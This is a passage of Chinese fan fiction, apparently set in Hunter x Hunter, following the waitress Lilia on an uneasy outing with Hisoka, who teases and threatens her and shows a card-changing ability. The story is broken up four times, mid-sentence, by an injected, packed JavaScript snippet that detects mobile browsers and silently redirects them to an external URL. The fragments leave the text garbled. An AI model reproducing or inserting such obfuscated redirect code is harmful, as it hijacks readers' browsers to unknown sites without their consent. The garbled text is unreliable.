;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15557962|169896||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了，她一下没听懂她的话，本来还有些疑惑，但很快理解了莉莉娅的意思，她连忙摆手：“他这个人太恐怖了，太变态了，我不会和他说话的……” “那就好。” 莉莉娅点了点头，本来要离开了，可是却又停住，看向自己的同事，叮嘱道：“玛丽，最好不要在他面前太害怕。不要露出那样的表情。” “为什么？” 玛丽不懂她的话。 “因为，他，其实很看不起普通人。”莉莉娅有些迟疑地说。 其实她觉得也许这话，也许接下来说的话是危言耸听，可是她已经观察了西索这么久，即便不完全了解他，也算稍微了解他了，在她心里，他就是这样的人。 普通人无法被他放在眼里。 按道理，已经是他手下败将的她应该也不被放在眼里才对。 …… 也许是西索太无聊了。 她想。 “我知道，这样的人从来看不起我们。” 在甜品店工作了很久，见多了天空竞技场来的，趾高气昂的客人们的玛丽说。 但莉莉娅觉得玛丽和她理解的应该不是一个意思，所以她又提醒：“他，心情不好的时候看到害怕的表情，也许会杀人也说不定。” 玛丽露出了惊恐的神色，而后，又立刻镇定了下来：“在这里随便杀人会被通缉的！” 她声音微微颤抖，但法律似乎给了她一定的底气。 不过莉莉娅并不认为这些底气是底气。 “马上就不会了。” “为什么？” “他说他要去考猎人证，考完猎人证，他杀人就不会被逮捕了。” 她复述昨天晚上西索对她说的话。 这并不难懂，可是玛丽在惊讶，惊慌后——毕竟西索去考完猎人后不一定会再回来，而且她们从没见过猎人，说不定考猎人很难，所以没必要为这么未来的事情太慌忙。 所以恐惧很快从玛丽的心里飞走了，冷静下来后，她看着莉莉娅，露出了很困惑的表情。 “但是莉莉娅，他这么对你，你为什么说话的时候好像不讨厌他？” 玛丽问。 “……说实话，我有点烦他总缠着我打牌。可现在我已经输给了他，他不会再找我打牌了。我也不会因为输给别人就生气。至于讨厌……他难道做错了什么事吗？” 莉莉娅歪了歪头，没理解玛丽的话。 但时间已经不容许她们继续说下去了。 还有人在等的莉莉娅扬起唇角，向玛丽露出一个不好意思的笑容，后退，压下门把手，转身出了杂物间。 11.梅花J 换完衣服出来的莉莉娅第一眼就看见了站在小蛋糕柜台前，不知道是在发呆还是在挑选甜品的西索。 “你来了。下午好。” 她快步走到他身边，因为不在工作时间，所以也不用说什么欢迎光临了，她和他打了个招呼，顺着他的视线看玻璃柜里的小蛋糕，嘴上却问：“你今天想到要求了吗？” “没有哦★~” 莉莉娅能感觉到他的视线从蛋糕移到了她的脸上，但现在盯着玻璃柜里东西不放的人变成了莉莉娅，她伸手，隔着玻璃柜指甜品给他，一边问：“那么想吃点什么？提拉米苏？抹茶蛋糕？” “随便，都可以哦~你喜欢吃什么就点什么吧★~” 和他精致的打扮相反，西索居然不是一个挑剔的人，但回想起昨天空中花园关门后，他也没有对接下来想去的替代餐厅提出什么要求，几乎是莉莉娅说想去哪里吃就去哪里吃了…… 这样一想，看来是她粗心忽略了这一点，先入为主觉得这个人是很挑剔的家伙了。 正在莉莉娅在心中更新对他的印象时，红发男人突然弯腰，凑近她的耳垂，笑着说：“待会儿陪我出去吧。是DATE哦★~” 他是故意的。 故意凑这么近，故意让他说话间呼出的气流吹动她耳侧的发，有点痒痒的，但莉莉娅没有躲开。 因为她越躲他越来劲。 像小孩子一样。 对付这样的人就应该无视他。 她转动脖颈，侧过脸，看向他，可她错误地预估了他们之间的距离，又或许西索在她动作的一瞬间朝她又近了几分，以至于当她面对他时几乎是鼻尖对着鼻尖了。 本来想装得镇定自若的莉莉娅立即皱眉，立刻往后退了一步拉开距离，她有点生气，可对上西索的脸之后只能装作不自在地揉了揉鼻子，问：“可以的，那么去哪里？” “没想好★~” 西索摊了摊手，又不知道从哪里变出了一张牌，用牌的背面对着她，说：“但我对你突然有了兴趣噢，所以去哪里都可以~猜猜是几★？” “是梅花J？” 莉莉娅试探地开口，然而牌转过来，是一张彩色的JOKER。 “猜错了★~” ……也许在昨天，莫名出现在她身上的牌运就离去了。 突如其来的降临打扰了她普通的生活，还没等适应又突如其来的消失，可却没有抹去带走它造成的影响…… 莉莉娅回过神，盯着牌面上那张彩色的，和牌的主人略有些相似的joker，没表现出任何的失望来，只是扯了一下嘴角，说了一句可惜之后，就看向西索，请求道：“请不要去太贵的地方，我的工资负担不起。” 这是实话。 甜品店服务员的工资也就在二三十万戒尼之间，甚至不够吃一次空中花园餐厅，和打一场比赛能拿几百几千万戒尼的西索没法比。 但西索不是在意这些的人。 他非常大度地摆了摆手，说： “没关系，我会全部付钱噢★~” 他似乎出手很大方。 当然，像他这样的人从来不会缺钱花。 但像他这样的人也不会大发善心随便给人花钱。 有人给钱花当然很好，但莉莉娅觉得这钱烫手，所以还是问：“为什么？” “嗯~不知道★。” 似乎是第一次，在和她的对话里，红发男人说了‘不知道’。 但如果把这个‘不知道’臆想成什么多余的情感的话，未免太自作多情了。 因为很快，在她面前不说‘不知道’的男人就找到了理由： “也许因为畏畏缩缩的花钱会很没劲★？” 真是傲慢的答案。 多么有钱的人才能这样回答问题呢？ 但如果是真的有钱，又如何知道畏畏缩缩花钱会没劲呢？ “没劲？” 所以莉莉娅重复了一遍他的话。 但话刚说出口，她就觉得这句话有些太僭越了，太冒犯了。 因为她不应该去探寻他的想法才对。 于是莉莉娅低垂下视线，视线凝在蛋糕恒温展示柜的玻璃上，玻璃隐约有他们的倒影，但店内天花 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15572838|169896||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 板上的灯太亮，以至于倒影模糊浅淡，只有一点边缘轮廓可见，周围人声夹杂着店内的音乐很嘈杂，以至于他的回应也差点听不见了。 “嗯哼★~” 但是听见了。 虽然只有这样的一声鼻音。 “……” 莉莉娅抿起嘴唇，沉默以对。 但西索很不满足于她的沉默，伸手搭上她的肩膀，问她：“你的表情很奇怪哦，你现在是什么想法★？” 他顿了一下，手从她的左肩离去，横过去，覆盖上她的右肩膀，他身高很高，骨架也很大，手掌完完全全覆盖住了她的右肩关节，一整条肌肉紧实的手臂半压在她的身上，几乎要把她挺直的脊背压弯了。 但这条手臂的主人丝毫不会体谅她，不会体谅她普通人的孱弱的身体，还向她靠，将半个身体的重量压在她身上，凑近她问： “莉莉娅，刚刚在想什么？” “什么也没想——好吧，说出来会有点扫兴。所以算了。” 脸都因为负重涨红的莉莉娅说着，真假参半地，在西索对她的话表示质疑的一瞬间蹲下身，从他的手臂底下逃了出去，然后立刻从旁边钻进柜台，不顾正在上班的店员同事还有旁边正在看蛋糕的顾客朝她投来的异样眼神，拉开蛋糕恒温展示柜移门，从里面拿出两份蛋糕。 “尝尝吧，我们这里的热卖品。我很喜欢吃。” 她面不改色地盯着蛋糕，本以为他会把其中一个拿走或者把两个都拿走，亦或者哪个都不要而继续在刚刚的话题上纠缠。 总之不会对她从他胳膊底下钻走这件事做出任何评价，因为如果他不想让莉莉娅逃跑，莉莉娅根本动都没法动。 事实上西索也的确没在这方面说什么。 但他做的事的确超乎了莉莉娅的想象。 他用纸牌——正面是梅花J的纸牌，挑了一块抹茶蛋糕放在口中，又顶着莉莉娅和其他人震惊的目光用纸牌的另一角挑了一块提拉米苏放进口中，然后说—— “这个更好吃一点。” 说完，他伸手，拿起了其中一块蛋糕托盘。 12.梅花Q 拥有天空竞技场的这座城市的夜晚有什么地方好玩呢？ 莉莉娅其实并不清楚。 她不是本地人，是从乡下的小县城来的，一来就急忙找工作找房子租，找到工作后就忙着上班，没空在这里旅游。 上班的一开始，她的腿无法承受近八个小时的站立时间所以总是酸痛，回到家后倒头就睡，等身体适应了这样的生活没多久，还没来得及探索周边景色，西索就来了。 但如果没有他的话，她真的会选择在下班时出去费劲地寻找什么好吃的好玩的而不是躺在家里睡觉或者发呆看电视么？ 莉莉娅不太愿意继续想下去。 太深入的思考，特别是有关西索的思考，也许会带来不好的结局，所以莉莉娅总是克制自己的想法。 但事实上，一旦见面次数变多，对陌生人的了解就会越多，人也会渐渐由陌生变得不陌生。 以往算得上‘深入’的思考在这样的条件下就会变得浅显，思考、揣测变得简单后，人会下意识地继续思考。 思考对方的想法，思考对方想做什么，思考对方的行为逻辑。 这很寻常。 但如果对象是西索的话，那这就是不祥的征兆。 所以莉莉娅希望西索快点提出那个要求，快点对她失去兴趣，快点离开这里，快点退出她的世界。 但这种事情是急不起来的。 所以在短暂的不适，转瞬即逝的恐慌后，莉莉娅没有再继续思考下去，她放空大脑，看着自己手中的按键手机上萝丝发来的短讯。 萝丝是本地人，她推荐的周边都是比较近，也比较热门有名的地方，消费也不是很高。 毕竟萝丝也是普通人，一般也不会去高消费的地方，推荐也只能推荐这些。 即便西索说他会付全部的钱，莉莉娅也完全没有宰他一顿的想法。 她在街边站定，喝了一小口从店里顺出来的奶茶——西索手上也有一杯，她帮他打的，和之前一样，他没有对口味提出任何要求，只说她喝什么他就喝什么就行。 “咳咳！” 金发少女咳嗽了两声，清了清嗓子，然后对着手机屏幕开始机械地念稿：“首先是中心观景塔，在这座城市的最中央，虽然高度远低于天空竞技场，但由于在市中心的缘故，所以景色很不错，餐厅虽然贵但是很好吃。” “一般般★。” 西索说。 莉莉娅觉得他说话有点太委婉了。 他可是每天都住在天空竞技场的。 他每天都能从上往下看，空中的景色对他而言应该没差，他能说‘一般般’而不是‘无聊’已经很超出莉莉娅的想象了。 莉莉娅其实对观景塔也没什么兴趣，她点了点头，就继续往下念： “然后是旧皇宫遗址——好像是什么皇帝住过，但我也不知道是谁。修复的很好，要门票。但是不进去的话也可以，因为门口是很大的商业街，皇宫遗址旁有湖，可以绕着它散步。宫里有一棵很大的树，听说许愿很灵。” 这个地方莉莉娅有所耳闻。 她一直想要去，但一直没空去，因为地方很大，一天，一个晚上可能是逛不完的，而且她刚刚上完班，虽然不至于说太累，但如果一口气走这么长的路估计明天腿就不是自己的了。 但她没有提出自己的意见，毕竟能有人陪着自己出来的时间并不多，实在不行请个假也没关系。 不过西索没有对景点做出任何评价，吸引他的反而是最后她提到的许愿很灵的那棵树：“真的吗★？” “不知道，我没去过。”莉莉娅摇了摇头。 但她觉得这应该只是传言，只是景区为了增加客流量弄出来的噱头罢了。 毕竟如果这棵树许愿真的很灵，前朝又为什么会覆灭呢？ 等一下，这个皇宫是前朝的吗？还是更久以前的？ 她不太记得了。 因为她不太擅长记这些过去的东西。 但总之都灭亡了。 莉莉娅回过神，从完全无所谓的神游里回过神，心虚地下意识看向站在面前的红发男人，但西索没有在看她，只是在玩不知道从哪里摸出来的牌，于是她松了口气，继续往下读：“第三个是在城里望月山，其实就是小土丘，土丘上有个寺庙。从山脚到寺庙的路两边没有栏杆，只有绳索，绳索上挂满了锁，听说情侣在上面写名字就会把灵魂锁在一起。” 这是萝丝推荐的最后一个景点。 这个景点非常有名，是巴托奇亚共和国的热门景点之一，有很多外国游客专门来这里就是为了挂锁。 “是真的吗★？” 和对上一个经典的态度一样，西索也只是问这个锁是真是假。 他果然只对这些听上去有点奇妙玄幻的事情感兴趣。 但这一次莉莉娅也同样不能告诉他答案。 “不知道。但玛丽和她男朋友锁了也分手了。” 她说。 但也许他们会复合也说不定。 感情这种事从来都没有定论的。 不过她不会对西索说这些话。 因为他显然不感兴趣啦。 “都没意思★。” 听完了全部介绍的西索做出了如上评价。 但莉莉娅觉得这三个地方都还可以。 没有特别有趣，但也不会特别无聊，所以她问他：“那什么有意思呢？有去过什么特别好玩的地方么？不过，西索你觉得特别好玩的地方，大概是我没有办法去到的吧。” 也许是她去到了就会死掉的地方也说不定。 再想下去的话，她也会觉得‘没意思’了。 所以思绪就在这里截断了。 她将手机熄屏，放进口袋，等待他选择地点。 但就如同在选择餐厅和蛋糕时始终无所谓一样，对于不感兴趣的景点，西索也依旧无所谓，将选择权完全交给了莉莉娅。 “那就听你的吧★。” “那么就去皇宫遗址看看吧，坐巴士还是地铁？” “走过去也行哦★。” 绝对是有意刁难，他居然提出了这样的建议。 莉莉娅绝不会顺着他。 “……不要，我的腿会断掉的。” 她说完，完全不等他反驳就拍板下了决定：“坐地铁吧。” “为什么不坐出租车呢★？” 一向不在这种小事上提要求的红发男人突然伸手拦住她了，亮出他指尖的红心A，问她。 莉莉娅顿住脚步，反问：“你想么？” “毕竟是我请客呢★~” “我没觉得出租车和公交车差在哪里……我觉得地铁更好。因为空气流通。不像公交车和出租车一样闷闷的。” 听人说这其实是晕车的征兆，但莉莉娅不太晕车。 不过她依旧不太喜欢这样封闭的地方。 相较而言，地铁就舒服多了。 “是么★？” 应该完全不晕车的西索无法理解她的感受，大概他也不想理解，所以又只是敷衍地反问了一下。 明明是主动问的，但又不认真听。 莉莉娅又不想和他说话了。 “是的！快走吧！现在还没到下班高峰，地铁应该没什么人，快走快走！” 莉莉娅说着，为绕过他绕了一个大圈，然后快步走向地铁站。 他好像没有跟上来。 下电梯时她忍不住回头看了一眼，没看到他。 但西索怎么会走丢呢？ “在这里哦☆~” 肩膀被拍了一下，她回过头，发现西索已经站在了她的身边。 毫无生息。 像鬼一样。 * 地铁上的确没什么人，车厢座位都没有坐满，因此西索和莉莉娅能并肩坐在一起。 其实地铁的每个座位不是很大，当身边坐着的人体型太壮的时候 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15588238|169896||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ，他的胳膊就会挤向你，蹭到你。 如果这个人是稍微有点礼貌的陌生人就会尝试并紧肌肉，收缩双臂，但如果这个人是西索，他只会故意放松双肩，让他的手臂挤压你。 莉莉娅忍无可忍，朝旁边挪了一座。 车厢门再次打开，有新的乘客上来，直直地走向西索和莉莉娅中间，然而还没走近，就被西索身上陡然散发出的杀气吓跑了。 应该是杀气吧。 总之是完全无法忽略的一种感觉。 莉莉娅能感觉到车厢内有好多乘客的目光都被吸引了过来，但一触及到西索就立刻收回了，还有不少人摸出手机借打电话的动作站起身逃到隔壁车厢去了。 车厢里的人变少了很多。 莉莉娅垂下头，想当作不认识他，然而西索好像完全读不懂空气似的朝她这边挪了挪，然后问： “莉莉娅，没有去过皇宫遗址？” 肯定没有啦！之前不是说了吗！！ 她有些恼恨。 恼恨他把别人的目光也吸引了过来，这时候其他人虽然不敢看他们，但肯定要猜测他们是什么关系什么身份了。 虽然这些人和莉莉娅只是萍水相逢，在这次遇见之后应该不会再有下次遇见的时候了，但是…… “是的。我其实出门也只是和朋友逛逛街，不太会去热门景点。” 最终，莉莉娅还是放弃了那些无谓的胡思乱想，面无表情地，平静地，回答了他的话。 她顿了一下，看向西索，又说：“事实上，上次是我第一次去天空竞技场。” 等一下，这件事她有和他说过吗？ 算了，总之说不说都一样的。 毕竟说了一遍西索也不一定会放在心里。 “喔~”红发男人点了点头，又问：“那什么时候再来呢？” “我下次休息日大概是八九天后吧。你有比赛么？” 说到这里，莉莉娅突然想起了在天空竞技场遇到的那个‘朋友’，华石斗郎。 上次她也答应华石斗郎去看他的比赛的，只是他们好像没有交换联系方式，她也不知道他什么时候比赛。 看来最近得多往天空竞技场跑几次看看最近的比赛日程了。 正当莉莉娅开始为未来的几个休息日制定计划时，身为参赛选手的西索却摇了摇头，说：“不知道哦~” “为什么不知道？” 怎么会不知道呢！难道天空竞技场安排比赛不通知选手的吗！怎么可能！ 莉莉娅觉得他应该在耍她玩。 但没想到他说的居然算是‘真话’。 “上次的对战实在太没意思了，怀揣着多么大的期待去和他对战，结局却是这样让人失望啊。所以，我决定了，如果不是觉得感到有趣的对手，我就不打了★~应该吧，暂时是这样想的★~” 非常符合西索性格的话。 但天空竞技场又不是慈善组织，如果高人气选手总是借口不参加比赛，他们怎么可能一直提供住宿和服务给他们呢？ “可以么？这样的话你还能住在天空竞技场里吗？”莉莉娅问。 “好像有规则说多少次弃权会丧失资格。不过再打上去就可以了哦★~” “真是……” “嗯？” 只说一半的话引起了西索追问般的轻哼。 但莉莉娅不愿意继续说下去了。 “没什么。” 她摇摇头。 其实她经常这样。 西索应该习以为常才对。 但这一回，他没有谅解她。 “话总是说一半呢，莉莉娅★。” 红发男人盯着她，突然感叹道。 “有么？” 莉莉娅决定装傻。 西索勾起唇角，又说：“思考也总是思考一半呢★~” “……” 被看透了的，在这瞬间感到冒犯的莉莉娅不说话了。 13.梅花K 旧皇宫遗址离莉莉娅所在的甜品店有一段距离，但值得庆幸的是去那里并不需要换乘多次地铁，一条地铁线路就可以直达。 所以很快，西索和莉莉娅就到了皇宫遗址门口。 地铁站的出口处铺着石板，街道是临时摊位，摊位再往外是半敞着门的沿街商铺，远处，皇宫遗址的轮廓显得很模糊。 这的景色和莉莉娅想象中并无不同。 如同事萝丝所说，出了地铁站先看到的不是皇宫，而是一条全是小摊贩的溢价商品街。 现在大概五点左右，因为天气渐热，所以还没有到黄昏时刻，只依稀能在天际线处看见一点橙黄。 今天是工作日，不是节假日，偶尔有成群结队的游客穿过，但人数并不多，因而保留着古时候样貌的，并不宽敞的石板路此时难得地不拥挤。 莉莉娅的目光扫过这些商铺展示橱窗里的小商品，印着皇宫建筑图案的钥匙扣、粗糙的仿古工艺品、色彩俗艳的围巾，还有各种各样的情侣饰品…… 买是不可能买的。 世界上所有的商业街基本都长一个样子，卖一样的东西，莉莉娅不是那种会为了一时的情绪价值花上双倍三倍价钱的人。 没办法，因为工作太辛苦了嘛。 比起偶尔还会对商品感一点兴趣的莉莉娅，西索就显得过分无情了。 他修长的手指间夹着一张扑克牌，漫不经心地翻转着，纸牌边缘在阳光下偶尔反光。 他根本懒得看，好像这些东西、这些在他身边走过的人还没有他手里的牌有意思。 这是当然了。 他这样的人对这种旧时代的遗迹，对遗迹外的劣质伴手礼感兴趣才很奇怪吧？ 虽然贸然评价只接触过几次的人很冒昧，但在莉莉娅心里，他似乎是只会朝前看从不回头的人。根本不会出现在这种地方才对。 其实在莉莉娅心里，他在见到这里只是这样平凡，毫无特色的商业化景点之后，就会无聊地走掉了，但居然没有。 ……那么就不必管他了。 不知道从什么时候开始，太在意他的想法了，太习惯推测他接下来也许会干什么了。 虽然不一定猜对，多数时候总是猜错，但喜欢猜测他这种事可不能成为习惯。 虽然这里卖的商品很无聊，可这里的吃的倒是可以买一点。 因为这条街上有非常有名的限定小吃——雕花的章鱼铁板烧以及味道古怪但非常好吃的葱味蜂蜜饼。 莉莉娅都没有吃过。 不过萝丝说非常好吃。 大概是名声在外的缘故，在客流量这么少的情况下，这两家店门口还是排起了长队，当服务员已经当出经验的来的莉莉娅粗略估计了一下每一条队伍大概都要排半个多小时。 但是来都来了！ 排两次也许有点太浪费时间，二选一的话就选葱味蜂蜜饼好了。 莉莉娅很快做下了决定，小跑着跑到队尾开始排队，剩最后几步路的时候又转过身倒退着走，问坠在后面好几步的西索：“你要吃吗？” 红发男人挥挥手，非常随便：“都可以哦~” 莉莉娅担心他没这个耐心，特意提醒他：“但是要排队排很久哦？” “嗯哼~” 在这简短对话的时间里，西索已经走到了她面前，弯腰用手中的牌尖拨弄了一下莉莉娅垂在脸侧的金色头发，然后轻轻哼了声。 他的动作很轻，纸牌的边缘几乎没碰到她的皮肤，但莉莉娅还是能感觉到一丝凉意。 像被某种危险的生物用爪子轻轻挠了一下。 莉莉娅站在原地没动也没躲，只是抿起嘴唇，绿色的眼珠向上看向他，又在他看过来时转动眼珠移开视线，往一眼看不到头的队伍看去，好像突然对排队充满兴趣似的。 “……” 她的沉默以对及欲说还休几乎在下一秒就被弯着腰降低高度拉近距离盯着她的西索注意到了，他用冷的牌面拍了拍她的脸颊，问：“怎么了★？” “你真的要听吗？我觉得有点肉麻。” 莉莉娅看他一眼，又移开视线，提醒他。 “说嘛。”西索一边荡漾着语调催促她开口，一边又冲她晃晃手中的纸牌，用背面朝向她，问：“猜猜这是几★？” 这是一张新的牌。 莉莉娅很确定。 所以不是梅花J “我猜是梅花K。” 所以莉莉娅又一次跟从自己的直觉回答。 西索翻面，居然还是大王。 彩色的JOKER在她面前晃来晃去，就像西索在她面前晃来晃去一样。 “怎么又是这张牌。” 莉莉娅很诧异，不过也没在上面纠结太久，毕竟西索可能随身带两副牌也说不定。 她选择继续刚刚还没说完的话题：“我刚刚想说，不知道为什么，感觉你有的时候还挺好的。” “哦？好在哪里★？” 这样的评价对西索来说估计也很新鲜，所以他轻轻挑了一下眉，直起身，晃了晃手中的牌，又把牌的背面朝向她。 莉莉娅没注意到他的小动作，沉吟了一小会儿，努力组织语言表达她的想法——虽然听上去像夸他，但都是她发自内心的想法。 通过这几次见面时观察得来的。 “虽然有时候很烦人，不愿意读空气，自说自话，但在大多数方面似乎完全不挑剔。一点也不会因为食物难吃就不吃，也不会因为等待时间过长就说什么，即便去不太感兴趣的地方也不会说什么，而且不会莫名其妙大开杀戒。” 虽然 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15597357|169896||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 听上去有些肉麻，但这些全是莉莉娅和西索接触下来的真实感受。 在他不当变//态的时候，他还蛮正常的。 忽略那些怪毛病，他还挺不错的。 当然，这不代表她喜欢他。 因为和他相处虽然不至于战战兢兢如履薄冰，却也要万分小心，以防他突然觉得她无趣了就翻脸下手。 有点累。但也可以忍受。如此而已。 但这时候，被她夸的红发男人却没有领情，没对她的评价做出任何表示，反而微微歪了歪头，露出一个轻快却又诡谲的笑容：“杀没意思的人会让我也感到没有意思哦★~” “……真的吗？” 莉莉娅不太相信他的话。 因为他看上去真的不像那种只对强者下手而不对弱者下手的人。 他看上去就是那种一旦兴奋起来不管是谁都会杀的人。 然而，西索本人却非常自信，坚定地点了点头，完全不像在开玩笑的肯定了他自己的话：“真的哦★。” ……也许真的人不可貌相，不该用刻板印象看人。 莉莉娅这么想着，脑袋里突然出现了一个想法，她翕动嘴唇，抬手犹豫地指向她自己，犹豫地，试探地开口：“那……” “如果有意思的人变得没有意思，我是会杀的噢。在莉莉娅你变得完全没有意思之前★。” 西索完全知道她在想什么，在她问出口之前就回答了她。 他善解人意的回答的语气听上去像在讲一个甜蜜的玩笑，甚至还微微弯下腰凑到她耳边说：“至少可以保留你的口感呢，莉莉娅☆。” “你真把我当成苹果看了？” “是的哦，因为莉莉娅是我见到的最特殊的小苹果呢★。” 莉莉娅惊讶：“真的吗？” “假的，骗你的，完全是假的★。” 西索斩钉截铁地否定了。 身为骗子，他一点也不羞愧，反而理直气壮地看着她，很不客气地给予评价：“因为太弱了。甚至不太适合被称为苹果呢。如果莉莉娅有点能力，说不定会变成‘最特殊’哦★。” 哼哼，没兴趣。 莉莉娅在心里这么拒绝了。 当然，在对话时要讲礼貌，不能这样失礼，所以她说出来的回答是：“谢谢，我对成为苹果不感兴趣。” “可惜~” 西索语调轻快地回复，但明显他根本不在乎她说什么，又将手中牌伸到她的面前，第三次问：“猜猜这张牌是什么？” “大王呀，刚刚不是猜过吗？” 莉莉娅很确定他的手刚刚一直在她眼前，而且他今天穿的是短袖，没地方藏牌。 然而…… “错了哦~” 西索将牌翻面，居然是一张梅花K。 14.方块A “……你怎么做到的？魔术吗？你其实是魔术师？” 莉莉娅的眉头皱起，难以置信地看着眼前的这张牌。 牌是没有变的。莉莉娅很确定，从始至终都是这一张牌。 那么，西索到底做了什么才能让一张本来是JOKER的牌面变成梅花K呢？ 在这一瞬间莉莉娅觉得能解释这一切的只有‘魔术’，可看西索的表情，似乎没有这么简单。 “莉莉娅想知道为什么吗★？” 他微微眯起的金色眼睛里闪烁着捕食者般的兴味，维持着弯腰的姿势，凑近她一些，但并不太近，脸与脸之间大约还剩下一掌有余的距离，足够他抬起手，用那张多变的牌的尖角点点她的眉心，排开她额前细碎的刘海又排回来。 和其他牌不同，西索手中的牌边角是很尖锐的，刮过她额前的肌肤时隐约传来细密的但不刺人的微痛，垂眸的莉莉娅抬眸，对上他锁定她的金色眼睛。 那双眼睛在近黄昏的光线下如同被火包裹的，燃烧的金子。 他的瞳仁是黑的，然而虹膜颜色却很亮，仔细看他会有一种被恶魔盯住的感觉，尽管他似乎并没有在她面前大开杀戒过，唯一一次动手还是在擂台上，但也只是切断了四肢，并没有送对手死亡。 但每次和他相处，莉莉娅总有种行走在死亡边缘的紧张。 尽管这种紧张在兀地浮起后又会被她迅速压下，但这种感觉某种意义上遏制了她的思考，再加上这双眼睛的注视，她没有办法给出答案，只是如实说： “……你这样问，我不知道我该回答想还是不想。” 是有些模棱两可的回答，但西索是个很敏锐的人，虽然莉莉娅对战斗、武技完全没有研究，但也知道善于战斗的人总能很敏锐地看破对手的破绽，站在她面前的西索理当是其中的佼佼者。 所以他几乎不用思考就理解她的言下之意，笑着直起身，将顶着她额头眉心的牌收了回去，还很体贴地伸出另一只手，用指腹抹了一下她额前被刮出红痕的地方。 他指腹比她的皮肤粗粝，也比她的体温要高，摩擦过额头的感触区别于常温的纸牌，但在莉莉娅想进一步感受时，他已经收回了手。 “都是安全选项噢★。” 他说。 “那我想知道。” 于是西索伸手，将扑克牌背面朝上递给了她。 莉莉娅接过牌，将牌翻面，正面的图案居然又变成了大王。 而后，西索的手指轻轻在牌面上一点，大王又变成了梅花K。 再一点，梅花K又变成了大王。 真的像魔术一样。 但魔术都有手法和技巧，可莉莉娅的手里就握着牌，她的拇指指腹就压在正面的牌面上，眼睛看见指腹下的梅花K变成JOKER再变回来，但指腹却毫无感觉，她知道这张牌没有变动，不是‘看似一张牌实则两张牌’，所以她很惊讶地抬眼，又一次看向西索，更难以置信地问： “……这是怎么做到的！” 莉莉娅觉得这完全超出了她对这个世界的理解。 她的表情取悦了西索，他唇角勾起，笑容非常灿烂，但这回他却没有慷慨地把一切都解释给她听，而是卖着关子说：“一种能力哦。变强了就会知道，莉莉娅有兴趣吗★？” ‘变强’。 这个词不是在他们对话里第一次出现。 西索似乎很热衷于怂恿她变强，是因为她现在已经不让他觉得那么有趣，但又好像还有成长空间，所以这么做吗？ 莉莉娅不知道。 但揣测西索的心理是很危险的，她没继续想下去，只做出了和之前一样的回答。 “……那我还是把它当成魔术吧。” 她婉拒了他。 西索脸上的笑意消失了。 不是生气。 而是又鼓起脸颊，露出了沮丧的，孩子气的包子脸。 已经是第二次见到了。 莉莉娅虽然仍然感觉违和，却不会再惊讶了。 西索的变脸速度快得惊人，他很快就从沮丧中回过神，变正常，然后低下头，用手指点了点还在她手上的纸牌，问： “那么，这张牌究竟是大王，还是梅花K呢★？” 莉莉娅沉默了好一会儿，不知道怎么回答，所以盯着牌面出神。 “你一直在沉默呢，莉莉娅。”西索歪着头，“现在你在想什么呢★？” 这也是西索面对她时经常说的话。 莉莉娅会想很多事，但说出来的话却不那么多，因为很早的时候她就意识到说那么多的话根本没用。她认识很多人，但只有西索会这样问她。 但他问了也不一定会听。 莉莉娅说不上来哪个更好，但他既然问了，她也就说了。 “我觉得，如果我说出我的想法，也许我们今天就玩不了了。” 她抬起头，和他对视，很委婉地解释。 “你很想进去吗★？” 他问她真的很想去旧皇宫遗迹吗。 “也没有。” 在他们交谈的时候，天已经渐渐暗了下来，莉莉娅这才后知后觉地意识到晚上去逛皇宫不是什么聪明的决策，加上现在她的注意力已经完全转移到了手中这张牌上…… 但他为什么这么了解她？ 她表现的很明显吗？ 还是这也是魔术一样的能力的一部分？ ……不能再想下去了！ 和西索相处就像凝视湖中江河中的漩涡，越凝视，越靠近，越清晰，也离漩涡越近，如果不加以克制，等到反应过来时，也许已经掉入水中。 莉莉娅知道，像她这样的人如果掉入漩涡，顷刻间就会粉身碎骨。 所以不能再想下去。 但西索的问题也需要回答。 莉莉娅停顿，垂眸，抿唇，咬唇，些微的疼痛刺激她思考，后面她说出的话仍然犹豫： “但如果我说出我的想法……” 如果继续想下去，如果说出自己的想法……心情变换后，还能这样相处吗？ 